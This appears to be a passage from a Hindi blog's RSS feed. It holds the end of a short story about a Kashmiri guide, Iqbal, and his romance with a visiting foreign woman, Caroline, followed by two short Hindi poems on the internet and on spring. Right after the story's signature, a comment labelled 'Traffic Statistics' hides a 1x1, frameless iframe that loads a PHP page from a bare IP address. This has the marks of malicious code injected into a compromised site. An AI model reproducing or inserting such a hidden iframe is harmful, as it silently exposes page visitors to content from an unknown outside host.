दूसरे दिन इकबाल पीटर परिवार को &#8216;वेरीनाग़ &#8216; और &#8216;जवाहर टनल&#8242;(सुरंग) दिखाने ले गया |वेरीनाग के बाग़ के बीचों-बीच एक चबूतरा बना था, उसके भीतर से एक चश्मा (spring ) निकल रहा था, ये झेलम दरिया का स्त्रोत है-इकबाल ने बताया | फिर वे सुरंग देख्नने गए, जिसे स्वतंत्र भारत के पहले प्रधान-मंत्री ने ढाई किलो मीटर चौड़े पर्वत के अंदर से निकलवाया था, जिससे सारे भारत के लोग व कश्मीर के लोग आपस में आ जा सके |उन्हीं के नाम से इसका नाम जवाहर टनल पड़ा |ये दो सुरंगें हैं |एक आने की व दूसरी जाने की | सुरंग से बाहर घाटी में आते ही वहाँ से पूरी घाटी का विहंगम दृश्य दिखाई देता है |जिसकी सुन्दरता अवर्णनीय है |यह सब देखते हुए साँझ ढल आई, तो वापसी में सब ने श्रीनगर के बाज़ार की रौनक देखी | दुकानों पर कश्मीरी कढाई, पेपरमशी व लकड़ी की नक्काशी का आकर्षक सामान देखकर वे परदेसी कुछ भी न खरीदने का मोह संवरण नहीं कर पाए |सो छुट पुट सामान खरीद ही लाए |<br />
रात को नींद न आने के कारण कैरोलीना आ कर बैठक में बैठ गई | इकबाल सोने जाने से पहले रोशनी बुझाने आया तो कैरोलीना ने उसे कहा कि वो चाँदनी रात में शिकारे पर झील में सैर करना चाहती है | इकबाल ने उसी पल बाहर गलियारे पर जाकर किसी को जोर की आवाज़ दी , प्रत्युत्तर में अँधेरे को चीरता हुआ एक सुन्दर सा शिकारा लेकर एक हाँजी (शिकारा चलाने वाले को कहते हैं) वहाँ आ पहुँचा | कैरोलीना के आग्रह पर इकबाल वहीं उसके सामने गद्दे पर बैठ गया |बाकि परिवार सो चुका था |सो, धीरे- धीरे चन्द्रकिरणों को झील की लहरों पर चीरता शिकारा बढ चला, &#8216;चार चिनार&#8217; की ओर | धरती के पचास फीट लम्बे व चौड़े टुकड़े के चारों कोनों पर चार चिनार के पेड़ झील के मध्य में खड़े हैं|साथ ही ढेरों दुधिया सफेद रोशनी के बिन्दु वहाँ सारी रात जगमगाते रहते हैं |करीब दो घंटों के सफ़र के बाद ये वहाँ पहुँचे | झील के भीतर पानी की परछाँई में भी एक चार चिनार दिखाई दे रहा था |कुछ परी-लोक सा नज़ारा था |कैरोलीना ने इकबाल को हाथ पकड़कर अपने पास ही बैठा लिया |वापसी में नीरव रात्रि की निस्तब्धता में वह इकबाल से सटकर वहीं गाव -तकिये पर आँखे मूँदे झील में चलते चप्पू की संगीतमय लय में शिकारे की सैर का आनन्द लेने लगी | धीरे- धीरे उसका सिर इकबाल के कंधे से आ लगा | पहले तो इकबाल घबरा गया , लेकिन कहीं मैडम की नींद न खुल जाए -इस विचार से वह वैसा ही बैठा रहा | रात्रि के पिछले पहर में तो रोगी की आँख भी झपक जाती है, फिर यह तो मदमस्ती का आलम था, सो उसकी आँखे भी मुँद गईं |इस ह्क़ीकत को वह मीठे ख़्वाब की तरह बंद आँखों में कैद किए रहा | आधी रात को हाऊसबोट के पास पहुँचने पर ही वे जागे |कैरोलीना भीतर सोने चली गई, परंतु पच्चीस बरस के जवां मर्द इकबाल की आँखों से नींद कोसों दूर जा चुकी थी |<br />
सुबह नाश्ता लगने के बाद कैरोलीना नींद से उठी, सबको &#8216;गुड मार्निंग&#8217; कह वह इकबाल की ओर देखकर अर्थपूर्ण ढंग से मुस्कुराई| इकबाल का चेहरा रक्ताभ हो उठा| आज गुलमर्ग जाने का प्रोग्राम था |जैक व जैरी घुड़सवारी करने के ख़्याल से अति उत्साहित थे | टनमर्ग होते हुए सब कार में ही गुलमर्ग पहुँचे|उसके बाद वहाँ घोड़े वालों ने उन्हें घेर लिया | जिन्हें कश्मीरी भाषा में इकबाल ने सँभाला व रेट बनाया |सब पोनी ( घोड़ों) की पीठ पर बैठ कर खिलनमर्ग की चढ़ाई चढने लगे | वैसे लोग खिलनमर्ग की चढाई पैदल या गंडोले (रोप वे) पर भी करते हैं|इकबाल ने साफ़ सुथरे हरे घास के मैदान दिखाते हुए उन्हें अठारह होल्स वाले विश्व में सबसे ऊँचे &#8216;गौल्फ-ग्राऊण्ड&#8217; की जानकारी रटी रटाई अंग्रेज़ी में दी |वह जब भी बोलता ,उसकी मोटी-मोटी आँखें संग बोलती थीं| श्रोता उनके सम्मोहन में बँधा रह जाता था |थोड़ी और ऊपर की चढाई के बाद &#8216;अलपत्थर&#8217; यानि कि पर्वत पर ऊँचा धरातल था| वहाँ केवल एक ही चाय की दुकान ,वही ढाबा भी था , उन दिनों | अब यह लोग पहाड़ों के इतने करीब थे कि वहाँ ऍसा आभास होता था , मानो हिम से ढँकी ऊंची पर्वत श्रंखलाओं को वे आगे बढकर बाहों में भर लेंगे| इकबाल ने बताया कि यही हिमालय पर्वत है |इतना सुनते ही उन्हें अपना कश्मीर आना सार्थक लगा | बादलों के झुंड के झुंड आकर उन्हें भिगो जाते व पुनः पर्वतों की गोद में अठखेलियाँ करने चले जाते थे |ऍसे छुआ- छुअल्ली के खेल की तो परिकल्पना भी नहीं थी उन्हें |हिमालय पर्वत से मेघ आकर उनके तन को छूते हैं, इस विचार मात्र से वे रोमांचित हो उठे |मूवी कैमरे में वो मानो स्वर्ग को कैद कर रहे थे|ऍसे आलौकिक सौन्दर्य की साक्षी बनी कैरोलीना ने अचानक इकबाल की आँखों में खोकर उसे &#8216;थैन्कयू फ्रैंड&#8217; कहा और बढकर उसके दोनों हाथों को चूम लिया | माँ की देखादेखी हर्ष विभोर जैक व जैरी ने भी इकबाल को &#8216;थैंक्स&#8217; कहा व उसके हाथों को बार-बार चूमा |इस सबसे इकबाल भी बहुत प्रसन्न था |<br />
आज सब बहुत थक गये थे | खाने के बाद बच्चों ने भी ब्रांडी पी व जल्दी ही नींद की आग़ोश में सब गुम हो गये |लेकिन कैरोलीना के पैरों व टाँगों में थकावट से दर्द हो रहा था, उसने इकबाल को बुलवा भेजा |इकबाल आया तो उसने कहा कि किसी मालिशवाले को बुलवा दे| इकबाल गया और ऑलिव-आयल की शीशी लेकर स्वयं ही आ गया, क्योंकि इतनी रात को कोई मालिशवाला नहीं मिल सकता था |उसने कैरोलीना की पिंडलियों पर मालिश करनी शुरू की, तो इकबाल के हाथों की तपिश से कैरोलीना का तन उद्वेलित हो उठा |वह एकटक इकबाल की मदभरी आँखों में डूबकर उसकी ओर खिंची हुई आगे बढी कि अचानक इकबाल उठ खड़ा हुआ और बोला, &#8216;फ्रैंड! अब हम जाएगा&#8217; और उबासी लेता आगे बढ गया |<br />
अगली सुबह आकाश में बदली छाई थी |शिकारे में बैठकर वो सब इकबाल के साथ &#8216;नगीन लेक&#8217; की सैर को निकले | लगातार तीन घंटे वे सब तैराकी व पानी के साथ खेल में मग्न रहे | वहीं झील के किनारे रेस्तरां में सबने खाना खाया | सांझ ढले झील में डूबते सूर्य को कैमरे में कैद कर वे हर्ष में डूबे वापिस लौटे | तैराकी के वस्त्रों में कैरोलीना बेहद सुंदर लग रही थी | आज तो इकबाल को उसके सम्मोहन ने बाँध लिया था |<br />
इनका अगला पड़ाव था &#8216;पहलगाम&#8217;, जिसे &#8216;वैली ऑफ़ शैफर्ड्स&#8217; यानी कि &#8216;गड़रियों की घाटी&#8217; कहते हैं |सो, अगले दिन एक बड़ी वैन में सब पहलगाम के लिए निकल पड़े| वहाँ पर पहाड़ी नदी में टराउट् फिशिंग (Trout Fishing) करने को सब उतावले थे | इकबाल ने उन्हें बताया कि ऊचे पहाड़ों में तेरह हजार फीट की ऊँचाई पर स्थित &#8216;शेषनाग झील&#8242; का जल सुदूर पर्वतीय मार्गों से कल-कल नाद करता, राह में पिघली हिम का जल संग समेटता हुआ &#8216;चंदन वाड़ी&#8217; के बर्फ़ानी पुल के नीचे से बहता हुआ पहलगाम में पधारता है | इसे &#8216;लिद्दर&#8217; कहते हैं| ऍसा स्वर्गीय सौन्दर्य व प्रकृति की अनुपम छटाँएं - एक ओर पहाड़ी नदी का बहता स्वच्छ जल व चारों ओर हिमाच्छादित पर्वत श्रेणियों से घिरा स्थल !!सब मूक दृष्टेता बने निहारे जा रहे थे केवल |राह में भेड़्-बकरियों के झुंड बार- बार वैन के सामने आ जाते , जिन्हें उनके गड़रिये अज़ीब सी सीटी बजाकर एक ओर करते, जिससे सड़क खाली हो जाए ट्रैफिक के लिए |राह भर पीटर का मूवी कैमरा चलता ही रहा |पहलगाम पहुँचने के एक मील पहले ही &#8216;नुनवन&#8217; में इकबाल ने दरिया किनारे डेरा डाला| वहाँ तीन टैंट गाड़ दिये | उनमें सामान टिकाकर वे सब पहलगाम बाज़ार, क्लब, चर्च, मन्दिर व टूरिस्ट सैंटर वगैरह घूमने गए, व वहाँ सारा दिन घूमते रहे | साढे सात हजार फीट की ऊँचाई पर कड़ाके की ठंड थी | रात को पीटर ने व्हिस्की के पैग़ चढाए व दोनों बच्चों ने ब्रांडी से कँपकँपाहट मिटाई,  फिर सब सो गए |इधर इकबाल भी सब काम निपटाकर लिद्दर किनारे पड़ी विशालकाय शिलाओं के दामन में एक ठंडी शिला पर बैठकर सिगरेट के कश लेता हुआ ठंड से लड़ने का यत्न कर रहा था कि उसे लगा चांद के धवल प्रकाश में नहाई कोई परी उसकी ओर चली आ रही है | कैरोलीना!!! वह आई और वहीं पर उससे सटकर बैठ गई |इकबाल उठने लगा तो उसने उसे रोक लिया हाथ पकड़कर | बर्फीली ठंड बदन में नश्तर की तरह चुभ रही थी | कैरोलीना ने इकबाल को कसकर पकड़ लिया व बोली, &#8216;मुझे गोदी में उठाकर अपने टैंट में ले चलो, तुम मेरे दोस्त हो न! आज मुझे सुला दो| बेहद ठंड के कारण मैं सो नहीं पा रही हूं, प्लीज़!!&#8217;<br />
कैरोलीना पहले दिन से ही इकबाल की आँखों के सम्मोहन से बँध चुकी थी | दिन भर साथ -साथ घूमना, और रात गए तक एक-दूसरे का साथ&#8212;इन सब से ही उसका चेहरा अनोखी चमक से भर उठा था | सारा-सारा दिन &#8216;टराउट &#8216;फ़िश( trout fish)  पकड़ना, उसे पकाना और खाना | ऍसे मौज भरे दिन उन्हें कभी फिर मिलें या न मिलें, इसलिए वे सब वहीं पर तीन दिन और रुकना चाहते थे | भला कैरोलीना को क्यूं एतराज़ होता? इस तरह सात दिनों तक पहलगाम में रुकने के पश्चात श्रीनगर वापिस आकर वे केवल एक दिन ही वहाँ रुक सके |पीटर ने अब्दुल रहीम से इकबाल की बढ-चढ कर प्रशंसा की |इकबाल को अच्छा ख़ासा ईनाम भी दिया | बिछुड़ने की घड़ी समीप जानकर कैरोलीना ने इकबाल से वादा किया कि वह जल्दी ही उसके पास फिर आ रही है | शाहीन और इकबाल का निकाह होना लगभग तय हो चुका था |लेकिन इकबाल पर तो कैरोलीना का नशा छाया हुआ था |उसने अंग्रेज़ी की पढाई करनी शुरू कर दी , फिलहाल निकाह टाल दिया | मन ही मन उसे कैरोलीना का हर पल इंतज़ार था |<br />
अभी चार महीने ही बीते थे कि अचानक ही कैरोलीना पुनः इकबाल के बेसब्र इंतज़ार को मिटा, उसके सूने जीवन में रंग भरने आ पहुँची | अब्दुल रर्हीम से उसके गाईड इकबाल को साथ लेकर वह पुनः पहलगाम की हसीन वादियों में चल पड़ी | पहलगाम से ऊपर बायीं ओर ग्यारह मील पर &#8216;आहड़ू&#8217; नामक रमणीक स्थल पर एक टैंट गाडकर अपने बीते जीवन के अनूठे दिनों की अविस्मरणीय यादों के नवीन परिच्छेद बनाने में वे जुट गए |दोनों आशिक सुध-बुध खोए घंटों एक- दूसरे की बाहों में खोए रहते |उम्र की सीमाएं बाँध तोड़ चुकी थीं |भाषा, देश , जाति-धर्म किसी का भी बंधन नहीं था वहाँ |कभी कुछ खाया, कभी कुछ नहीं |कब रात ढली- कब दिन चढा, उन्हें कुछ ख़बर नहीं थी |बारह दिनों का कोई हिसाब -किताब नहीं था उनके पास |बिछुड़ने की घड़ी आई , तो दोनों तड़प उठे |कैरोलीना के पास पति तो था, लेकिन उससे बेपरवाह |अपनी पी.एच.डी की पढाई में सदा व्यस्त |बच्चे दोनो अब इतने बड़े हो गए थे कि अपने दोस्तों व अपने खेलों में व्यस्त रहते थे, किसी के पास उसके लिए समय नहीं था |सो, उसने इकबाल से कहा कि वह अपना पासपोर्ट तैयार करवाए, वह जाकर पुनः उसे लेने शीध्र ही अएगी |<br />
उसके विदा होते ही इकबाल पासपोर्ट की तैयारी में जुट गया |अब्बा ने निकाह की बावत बात की , तो उसने अगले साल पर बात टाल दी | तीन महीनों में पासपोर्ट बन कर आ गया | घाटी में लगातार बर्फ़बारी हो रही थी | डल झील भी इस बार जगह-जगह पर जम गई थी |इतनी कड़ाके की सर्दी में हाँजी लोग हाऊसबोट बंद करके ,उससे संलग्न अपने डूंगों (लकड़ी की छोटी घर नुमा नाव)में काँगड़ी हाथ में पकड़, लिहाफ़ ओढकर चिलम फूँकने में मशगूल थे|घाटी ने बर्फीली श्वेत चादर का परिधान ओढ लिया था |ऍसी ही एक दोपहर को एक टैक्सी डल झील के किनारे आकर रुकी |झील पार सड़क से बर्फानी हवा को चीरती एक आवाज़ सन्नाटे में गूँजी,&#8217; रहीमा! ओ रहीमा! वला यूरे, मेमसाब शू आमुत |&#8217;(आओ, मेमसाब आई है)यह सुनकर सभी डूंगों से सिर बाहर निकले और नज़रें उधर घूम गईं| खुसर्-पुसर शुरू हो गई कि इतनी बर्फीली ठंड, और ऍसे में मेमसाब क्यूं आ गई |रहीम भी हैरतंगेज़ डूंगे का शिकारा लेकर ही जल्दी से किनारे की ओर चल पड़ा |आदर सहित मेमसाब को ला कर हऊसबोट में ले गया, जहाँ बुख़ारी अर्थात अंगीठी जलाकर कमरा गर्म किया जा रहा था | कैरोलीना के आने की खबर झील में आग की तरह फैल गई थी | इकबाल भी अपने डूंगे से भागा चला आ रहा था |उसके इंतज़ार की घड़ियाँ मुक गईं थीं |सामने होते ही दोनो के चेहरे खिल उठे | उसने सबके सामने कहा कि वह इकबाल को लेने आई है |अपने पति व बच्चों का उसने त्याग कर दिया है |उसके पास बहुत अच्छी नौकरी है, वह इकबाल को भी काम पर लगा देगी |इतना सुनते ही इकबाल के अब्बा और अम्मी चिल्ला उठे | कैरोलीना को इस बात का पहले से ही अंदेशा था, सो उसने उनके सामने डालरों का ढेर लगा कर उनकी ज़ुबान बन्द करवा दी | भविष्य में भी भेजने का वादा किया |उसी पल इकबाल आज़ाद था, शाहीन से भी उसका रिश्ता बनने से पहले ही टूट गया था | अब वह कैरोलीना का था | वह उसके सम्मोहन में ऍसा बँधा कि तमाम उम्र के लिए उसके संग हो लिया | हजारों मील दूर से एक प्यार की प्यासी आत्मा अपनी प्यास बुझाने कश्मीर घाटी में आई और झील में डूबकर प्यास बुझाने की अपेक्षा वह झील को ही संग ले गई&#8211;झील में सदा डूबे रहने के लिए |कश्मीर का सम्मोहन इकबाल के रूप में उसके साथ था | घाटी में कड़कड़ाती ठंड व बर्फानी हवा के चलते लोग ठिठुर रहे थे, किन्तु हर डूंगे में एक उष्मा थी, होठों पर इक अफ़साना था&#8211;कैरोलीना और इकबाल का!!!!<br />
वीणा विज &#8216;उदित&#8217;<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --></p>
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		<title>एक यत्न</title>
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		<pubDate>Tue, 04 Mar 2008 19:11:32 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[नित्य होता शब्दों का नृत्य
ख़बरें उड़तीं, चर्चे होते
मीडिया बेलगाम जपता
आदम हव्वा के किस्से
भौतिकता साँस लेती
संवेदना लुप्त होती जाती
शब्द शक्तिहीन
सियाह कालिमा केवल
चेहरे पर नाक नहीं
हाथों में कलम छोटी हो गई
अक्षरों का कद
आदमकद से ऊपर उठ गया
दिमागों की बत्ती गुल है
लावारिस अक्षर
सड़क किनारे लगे
लैम्पपोस्ट से ऊर्ज़ा माँगकर
जन्म दे रहे हैं
इक रूहानी इबारत को
लो,
बोलने लगे हैं अक्षर
हवाओं में [...]]]></description>
			<content:encoded><![CDATA[<p>नित्य होता शब्दों का नृत्य<br />
ख़बरें उड़तीं, चर्चे होते<br />
मीडिया बेलगाम जपता<br />
आदम हव्वा के किस्से<br />
भौतिकता साँस लेती<br />
संवेदना लुप्त होती जाती<br />
शब्द शक्तिहीन<br />
सियाह कालिमा केवल<br />
चेहरे पर नाक नहीं<br />
हाथों में कलम छोटी हो गई<br />
अक्षरों का कद<br />
आदमकद से ऊपर उठ गया<br />
दिमागों की बत्ती गुल है<br />
लावारिस अक्षर<br />
सड़क किनारे लगे<br />
लैम्पपोस्ट से ऊर्ज़ा माँगकर<br />
जन्म दे रहे हैं<br />
इक रूहानी इबारत को<br />
लो,<br />
बोलने लगे हैं अक्षर<br />
हवाओं में मचा है शोर<br />
सारा माहौल<br />
संवेदन हीन हो चुका था जो<br />
शब्दों से भर गया<br />
अन्तर्जाल है इक उम्मीद<br />
संवेदनशील होने का<br />
एक यत्न!!!</p>
<p>वीणा विज &#8216;उदित&#8217;</p>
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		<title>बसंत झुलना झुलाए</title>
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		<pubDate>Sat, 01 Mar 2008 09:03:08 +0000</pubDate>
		<dc:creator>Veena</dc:creator>
		
		<category><![CDATA[Hindi Poetry]]></category>

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		<description><![CDATA[तंगदिल हुईं सर्द हवाएं
मौसम ने ली अँगड़ाई
इक इक क़तरा था सहमा
ज़र्रे-ज़र्रे ने तपिश पाई&#8230;
लिहाफ़ से ढ़ँकी सियाही
धवल हुई खोल किवाड़
नन्हे पैरों की पैंजनिया
छुन-छुन आँगन का सिंगार..
अब के बसंती पवन लाई
कसमसाते तन में उभार
आशिकों पे बरसाती
पलाश फूल के मेघ-मल्हार..
आए पीली सरसों से लहरा के
साजन के संदेस
बौरों से हुआ पेड़ों का श्रिंगार
कच्चे आमों के इंतज़ार.
कोयल कूक विरह [...]]]></description>
			<content:encoded><![CDATA[<p>तंगदिल हुईं सर्द हवाएं<br />
मौसम ने ली अँगड़ाई<br />
इक इक क़तरा था सहमा<br />
ज़र्रे-ज़र्रे ने तपिश पाई&#8230;<br />
लिहाफ़ से ढ़ँकी सियाही<br />
धवल हुई खोल किवाड़<br />
नन्हे पैरों की पैंजनिया<br />
छुन-छुन आँगन का सिंगार..<br />
अब के बसंती पवन लाई<br />
कसमसाते तन में उभार<br />
आशिकों पे बरसाती<br />
पलाश फूल के मेघ-मल्हार..<br />
आए पीली सरसों से लहरा के<br />
साजन के संदेस<br />
बौरों से हुआ पेड़ों का श्रिंगार<br />
कच्चे आमों के इंतज़ार.<br />
कोयल कूक विरह भुलाए<br />
कचनार के रंग बरसाए<br />
तितलियाँ फूलों से रंग चुराएं<br />
झूम- झूम बसंत झुलना झुलाए&#8230;|<br />
वीणा विज &#8216;उदित्&#8217;</p>
]]></content:encoded>
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